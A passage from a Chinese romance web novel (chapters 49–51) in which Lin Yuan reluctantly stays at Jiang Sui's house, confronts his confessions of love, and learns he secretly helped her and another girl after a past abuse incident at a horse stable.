“能……”喉间哽得他几乎有些发不了音,顿了片刻,才笑了笑,低声问她,“再抱一下吗?” 林鸢背手看着他,唇角扬起更大的弧度,没点头,没说话,却上前一步,踮起脚,张开双臂,紧紧抱住他。 他们的第一次拥抱,是他主动的。 那这最后一次……就由她来吧。 温凉的体温,隔着凉薄衣料,紧密地,又不真切地传来。 林鸢下巴磕在他肩膀上,看见北城的秋天,原来不止银杏,高耸的白蜡,也会拥有金黄的叶。 青砖黛瓦的,蜿蜒的胡同,处处晕开她最喜欢的色调。 夕晖下,今年立冬前的最后一个秋日,林鸢听见,有人这样对她说—— “阿鸢。” “那……”他顿了下,没说再见,只极其克制又艰难地,笑哽低咽道,“我走了。” 第49章 第 49 章 “这样的我,也还是想被…… 林鸢临时住在科创园附近的快捷酒店里, 网上和中介都看了房源信息,约了几处,环境稍好一些的, 要么远得通勤恨不得多上半天班, 要么就是价格让她下不去手。 周末中午看房回酒店, 林鸢却在大厅外遇见了江随。 酒店门口, 再次看见他, 林鸢脑子里自动冒出四个字:阴魂不散。 林鸢甚至都懒得再去问他:你又想做什么。 结果, 却是她在视若无睹经过他身边时,听他这样说: “阿鸢, 去我那里住吧。” “就在附近, 你以后,上下班也方便。” 林鸢都不明白, 江随这个人, 怎么能这么轻易地随时点燃她的心火。 她更不明白, 为什么江随,可以将这样的话, 说得如此理所当然。她到底凭什么,要去他那里? 见她沉默,江随解释:“你不是, 最近都在找房子吗?” “江随, ”林鸢抬头,难以置信地问他, “到底是我先前说得不够明白, 还是不够难听?” 江随看着她,嗓音有疲惫的沙哑,努力平静道:“阿鸢, 我们能心平气和地,好好说话吗?” 林鸢真的气笑了:“那你能别这么好笑吗?” 江随深深吸了口气,开口道:“阿鸢,顾淮父母那里,我会去道歉,该我承担的责任和损失,我也会承担、会赔偿。他们要怎么怪我、骂我、惩罚我,我都会接受。除了……除了感情这件事,我不是会逃避责任的人,你清楚,不是吗?” “至于我们两个,”江随顿了顿,语气莫名有些别扭,却还是认真地说了下去,“不管是过去,我的逃避,还是先前,我让你接受婚姻以外的感情,都是我的错,是我做得不对。我只是……希望我们能慢慢地放下过去,重新开始。” “既然你已经知道,我喜欢你,那有些事,我是不是,就可以不再以朋友的立场来做?我只是……希望你过得好一点。” “这次换我,追随你,等待你,”江随期冀地看着她,小心翼翼,低声问她,“可以吗?” 江随并非觉得,在林鸢面前认错、低头,是什么叫他难堪的事情。 他只是……从很早很早以前开始,或者说,从来都不知道,这样的感情,到底应该怎样表达。 所以此刻,即便真心实意,即便这些话,他在心底已经想了许多遍,仍觉得说起来有些难以启齿。 于是他不自然地说完后,就有些忐忑地看着她。 可这副模样落在林鸢眼里,就成了大少爷迫不得已,低下了高贵的头颅。 于是她嘲讽一笑:“江大少爷,能说这些话,真是难为你了。但我现在唯一的希望,就是你,立刻消失在我眼前。” 江随一怔,神色变得茫然又难堪。 “怎么了?又难受了?是不是从没人教过你,”林鸢牵着唇角,好笑似的问他,“捧出真心这种事,就要像成年人借钱一样,做好对方不会还的准备。这样真心被践踏的时候,才不会有意料之外的痛苦。江随,怎么了?你是到现在才明白吗?” 江随只觉得,那块被他剥下来的碎片,沾着附着于上的新鲜血肉,又被她重重掷回他身上。 砸到鲜血淋漓的伤口上,再滚落到他脚边。 他不是不明白,他正是过早地明白了,真心被践踏是什么滋味,所以才像从前那样,一味地逃避。 而他此刻难过,只是发现,原来被在乎的人误解,是这样的感觉。 可这不就是,他长久以来的逃避,该受的结果吗? 是他该得的,他受着。 所以他滞涩地笑了笑,尝试着和她解释:“我并不是想要你立刻接受我,我只是……想让你接受我的好意。” “那我只能说,你别做梦了。因为,”林鸢平静望着他怔愣压抑的神色,向他说,“我不会接受一个懦弱自私、没有道德底线、毫不顾忌他人感受,不懂得尊重为何物,这样一个人的好意。我只会讨厌他,非常讨厌。” 江随脸色瞬间苍白,撑在宽松长大衣里的身体,不可抑制地轻颤起来。 狠狠抠了下掌心血痂,他很努力地撑起一点笑意,红着眼眶,沙哑道:“对不起,是我的错,那你能不能告诉我,我怎么改,才能让你,重新考虑我。” 林鸢咬了咬牙,不明白他现在,到底为什么这样能忍。 无言地不想再和他纠缠这些问题,转身欲走。 江随闭了闭眼睛,漫天盖地的无助,如海啸将他淹没,求生的本能,比理智更快一步,叫他拉住她。 “阿鸢,我在港城养伤的时候,你和顾淮准备结婚的事,”江随咽了口喉间哽痛,无力挣扎道,“谢师哥,也没告诉我。” 林鸢脑袋轰得一声,被他攥住的手腕克制不住地发抖。 她抬头仰视他,却异常平静道:“所以,如今我们两个之间,选择 权已经不在我了,是吗?” 江随痛苦地看着她眼里的厌恶。 默不作声。 林鸢自嘲似的嗤笑了声:“你看,这就是你江随。” 不知过了多久,林鸢深吸了一口气,“行,那走吧。和我上去拿行李。” 江随沉默地跟着在身后。 她没问他为什么在港城养伤。 她只关心,谢师哥的公司,会不会有事。 如果一定要用这样的方式,才能留住她。 那……就这样吧- 车子很快停到科创园边的一处小区。 全区小洋楼的设计,当初的卖点,是为这一片的科技新贵准备的,自然与科技结合精奢住宅。 林鸢倒是不知道,有一天自己还能在这里住两天。 行李被江随拎进客厅,他替她拿了玄关新的女士居家鞋。 林鸢低眼,鼻腔里低笑了声。 江随手指一僵,仍旧不做声地将鞋放到她脚边。 她跟着他走进一楼的客厅,一刹那,被满屋子的黄玫瑰闪花了眼。 可没走几步,却发现那些从入户开始,一路蜿蜒的玫瑰间,竟依次间隔摆放着,他们从认识开始的每一张合照。 林鸢起初有些烦躁,却在看到那张她从没见过的,一眼便知是高一那年运动会,她跑完800米后,李想帮她拍的照片时,有一瞬间的怔忡。 也瞬间明白了,为什么江随说,他们之间的合照,一共有7张。 见她皱眉,江随解释:“你别多想,我只是……想道个歉。” 林鸢看向他。 江随望着她似有一丝回忆的眸色,蜷了蜷指节,鼓起勇气道:“也想让你知道,我真的……很早很早以前,就喜欢你了。” 林鸢沉默地盯了他好几秒。 “江随,你如今所做的一切,都只是在提醒我,我曾经的喜欢有多可笑。” 喉结滞涩低滚,江随笑了笑:“行李帮你拿去二楼吧,我只在一楼活动,没有你的允许,不会上去的。” 林鸢坐在二楼主卧的床上,脑袋空白般怔忡了片刻,直到蓦然回神,开始认真考虑。 如今的情况,她要怎么做,才能找到一个既不让谢师哥因为她,公司受损的,又能让她顺利离开江随的办法。 江随的哥哥……或是那位仅有一面之缘的郑老师,知道江随做的这些事吗? 如果不知道,她想办法找到他们,能得到帮助吗? 如果知道……应该不会,至少江随的奶奶,不会知道。 因为江随曾经,向她提起过那位老者对他的严格。 许久,林鸢紧绷的肩线,渐渐松懈下来。 等她准备好一个,既能离开,又不会牵连身边人为她受累的方法,她就能摆脱这一切了- 或许是想通了接下去的路到底要怎么走,即便办法未定,但好歹有了方向,又或许是这段时间以来,她着实太累了,林鸢下午将自己的行李简单归置后,躺到床上,竟闭目就睡了一下午。 等她开了房门,居然在这栋屋子里闻到了火锅味。 林鸢一愣,下楼时,看见江随站在餐厅一张八仙木桌前,桌面上,正架着一口热气腾腾的川味火锅。 “饿了吧?”江随见她站在最后两级台阶上,抬眼看她,勾起唇角,“过来吃吧。” 见她不动,又说:“你不是从前说,如果搬新家,希望暖房的第一顿,就是火锅吗?” 林鸢蓦地一垂眼,看着楼梯踏下去。 同下午一样,仿佛有什么东西,在她的软壳上轻轻碰了下,又小心翼翼收回。 她没什么感觉,却像是本能地更让她加深了,必须尽快离开的想法。 走近岛台,没想到的是,江随居然叫人把火锅店的小料台都复刻了一遍。 “你不用调了,我帮你……”江随白衬衣袖口挽起,拿过小碗。 “不用,你不知道我爱吃什么调料。”林鸢淡道。 “我知道,”江随接口,“香油,耗油,一点点鸡精和盐,几乎忽略不计的白砂糖,再加点蒜泥和香菜,对吗?” 林鸢一愣。 问完,见她发呆般不说话,江随突然有些忐忑,“还是你现在,口味又变了?” 林鸢回神,笑了笑:“没,就是想到了,第一次和顾淮吃火锅的事情。” 江随呼吸猛地一滞。 拿着小瓷碗的手指都僵硬,绷着太阳穴跳疼得青筋笑了笑:“好,那我就这么调了。” 俩人落座。 江随用公筷,帮她涮肉,下毛肚,用他不看表,都精准到微秒似的时间控制力,将弄好的吃的夹到她装食物的碗里。 这个男人,本来就生得极好看,骨节微突的白皙腕骨,替她做这些事情时,带着几分认真的温和,仿佛让他整个人,都掺了些烟火气的温柔。 热气蒸腾间,林鸢突然有些难言。 其实江随从前,就一直很照顾她。 和她一道出去吃饭,或带着她一起去见李想他们几个,怕她尴尬,怕她不好意思,都会主动帮她夹菜,弄火锅的吃的。 正是因为这些细微到,让她觉得他这样的大少爷,如果不是对她有那么一点点好感,为何要做到如此的揣测,才让她一次次地,觉得自己有希望。 可从前,江随做这些时,从来是那副漫不经心的随意姿态。 自然到仿佛只是,顺手帮她而已。 而如今,却好似带着小心翼翼的讨好。 林鸢不觉得感动,她反而有一份难以名状的,克制不住的烦躁和焦灼。 林鸢想,一个七八年,几乎日日都围着你转,将你放在心上,看着你换了一个又一个女朋友,都愿意喜欢你,愿意站在原地等你,就为了有一天,你能回头看她一眼的女人,突然某一天说不喜欢你了,并且,也真真切切地开始,再不向你提供任何正向的情绪回馈和情感,任凭是谁,都会像戒断反应般,不习惯、不甘心的吧。 林鸢从前看过,心理学上脱敏疗法最重要的一步,不是让患者放松和逃避,而是直面敏源。 所以林鸢觉得她此刻要做的,就是让他这份面目全非的、扭曲的不甘,直面现实得更彻底、更迅速一些。 就像她从前一样,痛得麻木,自然就能放手了。 于是她夹了夹碗里的肉片,突然问: “江随,你爸爸妈妈,到底是怎么回事,怎么从没听你提起他们过?” 江随一滞,捏着筷子的指骨顿在半空。 向她望了眼,许久,很淡地笑了笑,垂眼,继续替她涮菜,边开口:“我从出生到现在,见过我父亲的面,可能……一只手都数得过来吧。” 他声音本就带着点自然的轻磁,如今低低地诉说,明明是很平常的话,却仿佛在讲着某个不为人知的,别人的故事。 “至于我母亲,她可能就是单纯的不喜欢我?或是,像我外婆说的那样,因为她怀我的时候,得了抑郁症,”江随顿了顿,继续道,“所以看见我,就排斥我,讨厌我吧。” 林鸢听着他平淡到,仿佛在说别人故事的话音,就像看见自己曾经深压于心底的悲伤与不甘,如今的尖刻与怨恨,犹如炼狱里的恶鬼,在岩浆里挣扎、冒头。攀着烫红的铁链,烫得掌心皮肤滋滋作响,却还是想离开。 “江随,那你有没有想过,或许是因为,大家认清你到底是怎样的一个人后,”林鸢搁在膝盖上的手,狠狠攥紧,攥得骨头都发疼,“才开始不喜欢你,觉得你不值得被爱的呢?” 江随猛然一颤。 手里的木筷都几乎要拿不住。 过去那些,仿佛一只没人要的宠物般,被人递来送去的画面,不可抑制地在脑海里翻搅浮现。 那些一次次怀疑自己, 是不是因为他不够乖,不够好,是不是因为他犯了什么错,才叫他们都不想要自己的念头,像被这滚油猛地泼在掉了壳的新鲜伤口上。 江随知道动物界里,有些母兽生了幼崽,也会嫌弃或丢弃,甚至吃掉它们。 归根结底,人也不过是动物而已。 那些理性的约束,道德的牵绊,在原始的兽性面前,往往不堪一击。 而他一样懦弱,卑怯,所以他逃避。 逃避林鸢的喜欢和一腔热忱。仿佛只要他不挑破,他就可以永远拥有那份炙烈如阳的爱意。 而他此刻终于明白林鸢先前对他说的:江随,没有谁会永远在原地等你。 所以不管林鸢说什么,他都接受。 可他还是觉得自己,像一只被人扔进这滚油里的虾,疼得止不住,想蜷缩起来。 但他总不能,背着壳过一辈子。 所以干脆,让那层连皮带骨的碎壳,剥离得更彻底一点吧。 于是他放下筷子,看着她,漂亮的,雾气朦胧的桃花眼,漾起更浓的水汽,却温和地弯起唇角看向她。 “嗯。我自私、我怯懦、我不可理喻,我不懂珍惜。我毫不顾忌他人感受,也不懂得怎样回馈他人的爱意。” “就好像你先前问我,为什么要和韩知希,在大庭广众下亲吻。” “我可以躲开的,但我看见你站在那里。于是我用最愚蠢的方式,逃避你或许随时会诉诸于口的爱意。” “我不敢接受你的喜欢,可又没办法拒绝。” “阿鸢,我没办法拒绝你的。我知道我一旦拒绝了你,依你的个性,我们就再也不会有交集了。可我要是答应了,你会一直喜欢我吗?你会觉得,其实你喜欢的江随,不过是你想象出来的样子吗?”江随疲惫地笑了笑,“正如你刚刚说的那样,你会不会觉得我……不值得被爱。” “阿鸢,你让我明白,再骄傲的人,在自己喜欢人面前……也会自卑、会不安。” “我接受不了你和我在一起之后,还有可能离开。那不如,我们做一辈子的朋友。” “很失望是不是?我也对自己很失望。你喜欢的人,居然连面对自己感情的勇气都没有。” “你看,我从来都不是什么好人。”江随望着她,笑了笑,低道,“可这样的我……也还是,想被你爱。可以吗,林鸢。” 第50章 第 50 章 “我犯贱,行不行?”…… ——“可这样的我, 也还是想被你爱。” 滚红的辣锅里,食物翻搅沉浮,林鸢隔着白寥寥的雾气, 看着对面微弯着笑意, 连卧蚕都浮起红痕的男人。 她本来准备了许多更难听的话要说, 但此刻, 一个向来骄傲的人, 在她面前卸下铠甲, 抠掉陈年的痂,露出新鲜淋漓的旧伤口, 丢了矜骄倨傲, 没了意气张扬……这太不像江随了。 他将自己剖析地太直白,反倒叫她有些无所适从。 林鸢突然就觉得很无趣。 攻击一个缴械投降的人, 无趣至极。 尖刻的话说不出, 应许的话, 更是没可能。 所以她低下眼,伸出筷子, 捞了一片被煮得看不出原色的肉片,淡道:“既然你这么了解我,那也应该知道, 我喜欢一个人的时候, 怎么可能还去爱另一个。”- 林鸢高中的时候,每个月的零花钱, 都是固定的。 那次初三暑假来北城并于愉快, 或者说是……让她每每回想起来只觉得极其恶心,又叫人有些后怕的兼职经历,让她决定在没成年之前, 还是宁愿在花销上节省一点儿,也不要再去找什么乱七八糟的工作了。 然而有一回,老师临时通知要交参考书的钱,林鸢拿吃饭的零花钱先垫上后,准备回家向郑敏开口再要一些,却听见母亲在房里问继父要生活费,继父却说——怎么又花完了。让她以后,开始记账。 十几岁的女孩子,躲在门外,悄悄退开。 就那样默不作声,将困窘咽了下去。 只是第二天中午的那餐饭,还是拮据得不想叫人看见。 偏偏那天,江随非要跟着她。 江随这个人,生得精致又贵气,吃喝上,却并不算挑剔。食堂千篇一律的饭菜,外面小街上重油重盐的小食,他也都能接受,没什么抱怨。 于她来说,脾气也算得上不错,至少,从没见他冲她摆过脸色。 可那天,他看着她餐盘里两三口就能解决的一抔绿叶菜,铺得满满的白米饭,和还没来得及去打免费汤的空碗,面色一下就凉锐起来。 “你想饿死自己就直说。”那算得上他头一回对她说重话。 那天的一餐饭,她还是吃得和平时无异。 她知道,一旦江随发现,她的窘迫就能解决。 但林鸢……却仿佛更难过了起来。 那是一种很奇怪的,仿佛越是这样,就离这人越远的无力感。 直到当天下午的自习课,江随突然问她:“最近放了学,或是周末,有空吗?” 林鸢写着作业,偏抬头看他。 少年眉目疏朗又张扬,仿佛溢出骨子里不容置噱的骄傲,懒懒散散要求她:“帮我补补英语。” 林鸢一顿,下意识反驳:“我的成绩,也没好到这个程度吧。” 少年理所当然:“你的水平,教我不是绰绰有余。” “……那倒是。”林鸢莫名心情好了点,点点头,小脸正经,“毕竟杀鸡焉用牛刀。” 江随微挑了瞬一侧眉目,伸手,在她额头上轻弹了下:“胆儿挺肥啊。” 林鸢轻“嘶”了声,一触即离的触碰,却叫她下意识有些脸热,手忙脚乱地抹了抹额头。 “不过先说好了,”江随却转折似的看着她,像个不要脸的抠门资本家,理直气壮,“谈钱多伤感情,就多请你两顿饭吧。” 林鸢盯着他,脸颊那点热意,仿佛蔓延进心底。 少女笑起来,雄心壮志:“我不给你提分到班级前五,就一直免费给你补下去。” 江随歪头思考:“那我得好好想想。” “想什么?”林鸢纳闷。 少年吊儿郎当地往椅背上一靠,眼尾弯起漂亮的笑弧,慢腾腾道: “是让你给我补一辈子的课呢,还是好好学习,让小林老师有成就感一点儿。” ………… 林鸢后来才知道江随英语很好,好到可以当第二母语。 也是,那样聪明的人,又总和计算机打交道,各地的竞赛不断,怎么会有这样的短板。 所以在她得知原委后,当年的事,便让她不知道该感动,还是更自卑。 感动于他小心翼翼维护她少女自尊的妥帖,又自卑于……他们之间,似乎真的隔着天堑。 不知隔了多久,林鸢垂下眼,不再去看镜子里的自己。 认真用梳子,梳着已经没了吹风机余温的发尾。 对于她来说,那个旧时光里的少年,许多时刻,都太好太好。 好到即便她此刻,对他带着复杂的怨愤,对他已然全无男女之爱,可在听到他说——再骄傲的人,在喜欢的人面前,也会自卑、会不安,她依旧本能地,有些惶然- 季节交替,天气骤然转凉,林鸢周一去上班,才得知杜莱感冒请假。 中午不想点外卖,又只想简单吃点,就去了园区外便利店解决。 却没料到,遇到个极其意料之外的人。 “林鸢?”声音有些耳熟的女孩子,突然凑到临街落地玻璃边的吧台,语调欣喜地问她,“是你吗林鸢?” 林鸢一顿,鼓 着腮帮子看过去,在看见那张等比例长开的漂亮面孔时,有一瞬间的愣神。 赶紧咽下嘴里的牛肉饭,林鸢试探问:“仇欣?” “是我呀,好久不见,你还记得我。”女孩子笑起来,和初见时一样开朗,“你现在好白,好漂亮啊。” 林鸢是真的有些意外。 居然是她——初三暑假里,在马场一起工作过的女孩子。 却也在下一瞬想到了,当年在她们这些小女孩眼里,腌臜的成人世界有多可怕。 林鸢仔细扫了眼她神色,直觉她如今过得不错,才放心下来。 “谢谢,”她笑说,又有些好奇,“你是……也在这附近上班吗?” 仇欣笑说:“没有,我那年……和我爸妈一块儿搬家后,很久没回北城了,这次回来是看看老朋友。” 林鸢了然地点点头,猜测她朋友或许在这儿上班。 “吃饭了吗?喝饮料吗?”林鸢看她什么也没拿,侧身准备下高脚凳,“喝什么我去拿……” 却被仇欣笑着摁住:“怎么还能叫你请,本来当年,就没有好好谢谢你。” 林鸢一滞,支着腿坐回去,温和笑道:“这有什么,我也没帮上多大的忙。” 又轻声道,“你别多想。” 林鸢尤记得那天下午,闷热的马厩里,她听到女孩子压抑的哭泣,和成年男人叫人作呕的声音。 她如今想起,都还觉得浑身冷到颤抖,心脏都仿佛要被人从胸腔里拉扯出来。 那种既恐惧、又恶心,叫人害怕又愤怒至极的场景,连她都不愿意回忆,何况是仇欣。 仇欣望着她笑,点头:“好。” 又说,“对了,当年的事情能解决得那样顺利,还多亏了你朋友帮忙。听当年帮我们办那个案子的伯伯说,你们后来成了同学,我没有他联系方式,麻烦你,也帮我向他说声谢谢吧。” 在便利店和林鸢分开后,仇欣拨了个电话。 接通,对面道:“抱歉,又让你想起不愉快的经历。” “没事的陆先生。”仇欣笑道,“我是真的感谢你们,也很感谢林鸢。当年要不是她第一个冲出来,帮一个只是见了几面的陌生人,那个小女孩,也不知道什么时候才敢反抗。后来,要不是你们帮忙,事情也没有那么容易解决。我现在过得很幸福,那些事情,已经影响不到我。” “况且,如果不是你们当初叮嘱我,让我和林鸢各自过好新的生活,不要回头看,不要陷在过去,我很早,就想当面和她道个谢了。”- 江随没有在晚饭时间回来,厨房里,有阿姨提前做好的饭菜。 林鸢吃完,坐在客厅里,不知道是在发呆,还是在等什么。 她从前一直以为,她站在昏暗的马房里,第一次见江随的场景,江随是不知道的。 所以在学校里“第一次”见她时,才会有那样陌生人阴差阳错般的相遇。 可仇欣今天才让她意识到,原来……江随早就知道那是她。 林鸢本来想过,这件事,是不是没必要再去问。 不论江随何时注意到她,和她成为同桌,是偶然还是刻意,都不会影响此刻,她要离开这里的决定。 可终究,又忍不住想知道实情。 她总觉得,这是她的过去,她有权利替自己拼一份完整的、真实的人生。 况且,她还需要弄清楚,仇欣今天的出现,到底是偶然还是刻意。 江随回家的时候,在玄关换好鞋,走进只开了厨房,和沙发边一盏落地灯的偌大客厅,有片刻怔愣。 又在看见坐在沙发里,仿佛在等待他回家的林鸢时,眼眶骤然一涩。 他知道他是在妄想,此刻的林鸢,怎么会是在等他。 她恨他还来不及。 可又忍不住,想短暂地让自己沉溺在这份虚妄的温暖里。 直到林鸢站起来,看着他问:“你这是又和谁去打架了?” 林鸢是真有点儿震惊,这哥们是返老还童了吗?动不动就跟十几岁的青少年似的,弄一身伤回来。 江随看了她一眼,走过去,有些别扭,有些僵硬:“去和顾叔叔、周阿姨道歉了。” 林鸢一滞,蓦地了然,却忍不住那点恶劣的讥诮:“他们没原谅你啊?” 江随攥了攥拳:“他们原谅了。” 又咬牙,艰难道,“我没还手。” 那张乖张冷淡,却其实最温暖不过的脸,在眼前一晃,林鸢惘惘地愣了愣神。片刻,微垂开眼,不再去想。 打江随的是谁,不言而喻。 林鸢看着他,仿佛在渝市时,隔壁邻居家那只老大似的公猫,终于有一回,打输了架回来,浑身的伤口,平时骄傲的脸,都显得委屈至极。 又好笑,又可怜。 她一时就没了再逞口舌的念头,也没问他要不要上药,只仰头看着他,突然道:“我今天遇到仇欣了。” “她怎么会回……”江随猛地怔愣,下意识想问,随即又反应过来,话音顿住。 林鸢心脏一紧,这下,还有什么不明白的。 白天得知实情的震惊,在此刻不可抑制地,悄然蔓延开来。 她突然有些难以名状的紧张,咽了口发干的喉咙,问他:“江随,你第一次见我,到底是什么时候?” 江随盯着她,绷紧的神经,竟然慢慢放松下来。 过了片刻,他低声道:“你什么时候见的我,我就什么时候,第一次见的你。” 林鸢呼吸都顿了瞬,不知道为什么,她突然有些不敢细问下去 可执念般的,对真相的渴望,还是叫她开了口:“为什么?你总不至于……那时候就喜欢我了。” 林鸢还没那么自恋。 她没有像仇欣一样,被安排去遇见那样的恶魔,是后来侦案时,马场老板说,她虽然年龄身形符合要求,那些人却觉得她不够白,不够好看。于是就那样先费钱,“耽误”地养着了。 “那时没有。”江随眨了下长睫,有些不自然道,“只是……只是想帮你。” 林鸢看着他,莫名地,想用尖刻来掩饰此刻的惘然,于是她嘲讽般说:“那时候还不喜欢我,就已经想着要为我好了?” 江随呼吸一顿,骤然想起先前,俩人因为这个问题吵了好几回。 而她又说过,让他学一下,真心被践踏到底是什么滋味。 江随咬牙,看着她:“我犯贱,行不行?” 林鸢一顿。 手里捏着想掷出去的飞镖,却看见对方往身体里扎了支长箭,垂眼一看,那短钝的利器,好像就不够看了起来。 再扔出去,也就显得没什么意思。 喉间滚了滚,林鸢又问:“你为什么……要帮我们?” 江随深深吸了一口气,平静地回她:“事情出了后,我看过你们入职时候的资料。以你们两个的家庭,或许……”江随承认,这个世界,真的不是那么公平,“或许没有办法像你想的那样,合理合法地解决。” “至于之后,我没有承认,也叫仇欣不要和你联系,”江随顿了顿,“因为知道,即便不是女孩子的错,这样的事,受伤害最深的,却仍是你们。” “我想,你应该并不想回忆起那段经历。”即便你勇敢地帮了别人,“所以也只当作……不认识你。” 林鸢垂在身侧的指节,不自觉地收拢。 她突然有些难言的难过。 难过于江随说的实情,难过于……她如今才知道当年的真相。 也难过于,她其实从来都觉得,江随骨子里,是个善良的人。 可他还是毫无章法地,在和她的感情里,做了伤害别人的事。 江随见她沉默,有些不明白她在想什么,却很想问她:“阿鸢,你知道还有一个原因,为什么,我不敢在高中里,就答应你吗?” 林鸢微愣。 “因为那时候,我还做不到,完全替自己做主。” “是,你很勇敢,似乎嫉恶如仇得可以不顾自身安危,可同样也很理智。或者说在某些方面,理智得叫人发慌。” “因为你从来都不是一个,为 了爱情可以不顾一切的人。就像面对顾淮一样,我敢说如果顾淮父母反对,你也会毫不犹豫地和他分开。如果我们当初在一起,但凡有外部的一点点阻力,你都不会努力一下,你会立刻离开我。甚至是切断和我的一切关联。” 林鸢一怔,沉默地微动了下唇。 “林鸢,不说话就有用了吗?别不承认。”江随突然有些焦灼,盯着她追问,“你敢说不是?” 林鸢一下就来了火:“对啊。我就是这样自私,可那又怎么样?这也不是你拆散我和顾淮的理由!” “你不是自私,只是从没想过要把自己绑在谁的身上。”江随也不知道为什么,突然也想挑开她长久以来,套在身上的,并不需要她背负的软壳,于是他挑了挑唇,淡道, “也维护你弱不禁风的自尊心。” 林鸢蓦地像个被人狠踩了一脚尾巴的猫,浑身的毛炸起,咬牙切齿,愤恼道:“那我要不要谢谢你啊?这么了解我。” “不用。” 林鸢一滞,突然没来由地,有些想笑。 就像两个很熟悉的人正吵着架,心里明明恨不得掐死对方,却还是在莫名其妙的一个点上,忍不住破功发噱。 于是她低下头,沉默地想让气氛重新冷下去。 以免她做出什么不合时宜的表情,让江随看见,引起什么不必要的误会。 却看见他垂在身侧的拳头紧紧攥着。 他从一开始,就一直攥着拳。指节时不时地蜷动。 林鸢本以为,他是在发火,却蓦然看见他指缝里渗出的殷红。 “你手就是这样一直没好的?”她皱眉,下意识拉过他手,阻止他再这样自残似的伤害自己。 下一秒,江随却猛地把头一低。 滚烫的热意,骤然掉在她手背上。 像个终于靠伤害自己,引起大人注意的小孩,带着克制不住的哭腔,质问般委屈道: “林鸢,你还知道管我。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-60 第51章 第 51 章 “连你都不要我了,我要…… 江随也不想叫她看见自己的怯弱和动容, 可不知道是这一刻,因为她一句斥责似的关心,叫他强撑的韧力, 戛然崩断。还是他今天真的有些难受, 头疼得像要炸开。 眼泪就这样不受控地落了下来。 林鸢有片刻的怔愣, 不知道是这句话, 还是掉在手背上的, 出乎意料的热意, 仿佛一刻小石子投进平静的湖面。 可那点忽略不计的涟漪,眨眼便消失不见。 林鸢垂睫, 神色淡下来, 放开他手,不再去管他。 只抬头又问:“你还做了什么别的, 没告诉我的吗?” 失落的指节还没来得及垂回身侧, 江随微愣了瞬, 有一刹那几不可见的犹豫,随又沉默, 看着她,不动声色地摇了摇头。 林鸢仔细观察着他的表情,想从中寻出些蛛丝马迹。可又似乎没有任何端倪。 她眨了下眼, 最终没再问什么。 江随却蓦地不知道是才发现, 还是不想继续这个话题,微敛着下颌, 低声问她:“那条手链, 你为什么不戴了?” 林鸢下意识蹙了瞬眉,淡道:“离开曾家的时候,没拿。你要的话, 自己去取吧。” 江随刚要点头,就听林鸢气声般笑了声,又说:“反正,你不是能自己找到我妈,问她我去哪里了吗?” 江随骨节里的酸涩,一下蔓延攀附进胸腔,压得他呼吸都不畅。 他捏了捏拳,勉强撑起笑意,低祈的语气:“阿鸢,我们再试试,忘掉过去,重新开始,可以吗?” 林鸢看着他狼狈苍白,漂亮眸子隐现期冀的一张脸。 “我是想忘掉过去。”她弯了弯唇,平和道,“但不是我和顾淮的。” 江随颤了颤唇,默不作声看着她,再一次,胸腔里仿佛有什么东西坠落谷底- 林鸢回房,呆呆地坐了许久。 她也不知道自己在想什么,许多画面,从前的,如今的,在眼前不受控地交替出现。 直至察觉到热意从脸颊上滑落。 林鸢偏眨眼,低头,用手背胡乱掖了掖,将手心里那只丝绒盒子盖上。 她留下了这副耳夹,将钻戒寄去了顾爸爸顾妈妈那的地址。 或许是叔叔阿姨,并没有告诉顾淮。 或许是,她和顾淮,从前玩笑似的说过,互相喜欢过的两个人,分手后,是做不成朋友的。 没人告诉她,那枚戒指他们有没有收到。 林鸢无声笑了笑,吁了口气,站起身,将丝绒盒子放进梳妆台下的抽屉里。 她刚才向江随说,遇到了仇欣的事,江随下意识的意外反应,骗不了人。 所以这场“偶遇”,并不是江随安排的。 按仇欣的意思,当年帮她们“善后”的,除了江随,还有陆靖。 那她现在唯一可以尝试的渠道,可能只剩下江随的奶奶了- 林鸢是在临睡前接到的江随电话。 看着手机屏幕上的一串号码,林鸢都不明白他要做什么。 闭了闭眼,无声接起。 电话那头像是有意料之外的片刻安静,下一秒,又仿佛怕她挂断一般,急切开口:“阿鸢,你……能下来帮我拿些药吗?” 只是声音,虚弱又黯哑。 林鸢一顿,想了想,淡声问:“怎么了?” “应该是发烧了。”江随撑着精力,低声解释道,“我想去自己拿的。”顿了片刻,狼狈道,“摔了一跤。” 林鸢一时有些无言。 本想说你不会叫救护车吗?又想到有些新闻里,年轻人一人在家高烧不退,想去拿药,却爬到半路失去力气,被人发现时已无生命迹象的惨剧,深吸了一口气:“知道了。” 林鸢下楼,找到客厅柜子里的小药箱,去厨房倒了温水,走到他卧室敲了敲门。 “门没锁。”江随在里面努力大声说。 林鸢摁下门锁,推门进去。 只亮了盏墙角落地灯的卧室,男人穿着套霾灰色的真丝睡衣,像是真的有些脱力般,支着一条大长腿靠坐在床边。 见她进来,有些撑不开的薄薄眼皮半阖着,努力冲她弯了弯唇,低声道:“麻烦你了。” 林鸢盯了他两秒,撇了撇嘴。 只觉得这样虚张声势般的模样,骂他都有些没劲。 “要扶你吗?”林鸢干脆问。 江随受宠若惊地抬起胳膊,轻声道:“谢谢。” 林鸢瞥他一眼,这才发现他回来时的伤口,被清水冲刷地干干净净,却没有上药的痕迹。浓墨似的发,还带着些未干的水汽。 林鸢咬牙翻了个白眼。不烧死你烧谁。 量了体温,39度,对一个常年不发烧的成年人来说,的确是有些难熬。 吃了退烧药,又喝了半杯温水,江随忍不住看了她淡淡的脸色一眼,像个懂事的孩子般没多言语,乖乖躺下,有些费劲地拉过被子,替自己盖好。 林鸢转身欲走,却被他一下拽住手腕。 蹙眉,林鸢拧身看他。 “你能,留下来陪我会儿吗?”江随看见她越皱越深的眉心,赶紧说,“我怕退烧药不起效。到时候……你帮我叫下救护车。” 他就是希望,她能多陪陪她。 后面半句是托词,但也没敢说,让她送他去医院。 胸腔起伏,林鸢出了口气,什么也没说,安静地坐到床边,也不知道什么时候放过来的软凳上。 江随知道自己该知足了,重新躺回去。 困顿和生理上的难受,让他想多看她两眼,却还是撑不住力气地缓眨了两下眼,便阖上眼睫。 卧室里,静得壁角溢出 微弱的电流声。 林鸢看着他那张,此刻精致无害,又脆弱苍白的漂亮面孔,鸦羽似的长睫,似乎因为难受,轻轻颤动,没来由的,有些怅然。 可没片刻,他却像个小动物般,将脑袋往巢窠般的被窝里缩了缩。 直到只露出被额发掩盖伤疤的,白皙的额头。 林鸢听他小声地,闷闷地说: “我母亲爱过他,是真的。控制不住欲。望,抵挡不住新鲜感和刺激,和别人在一起,也是真的。” 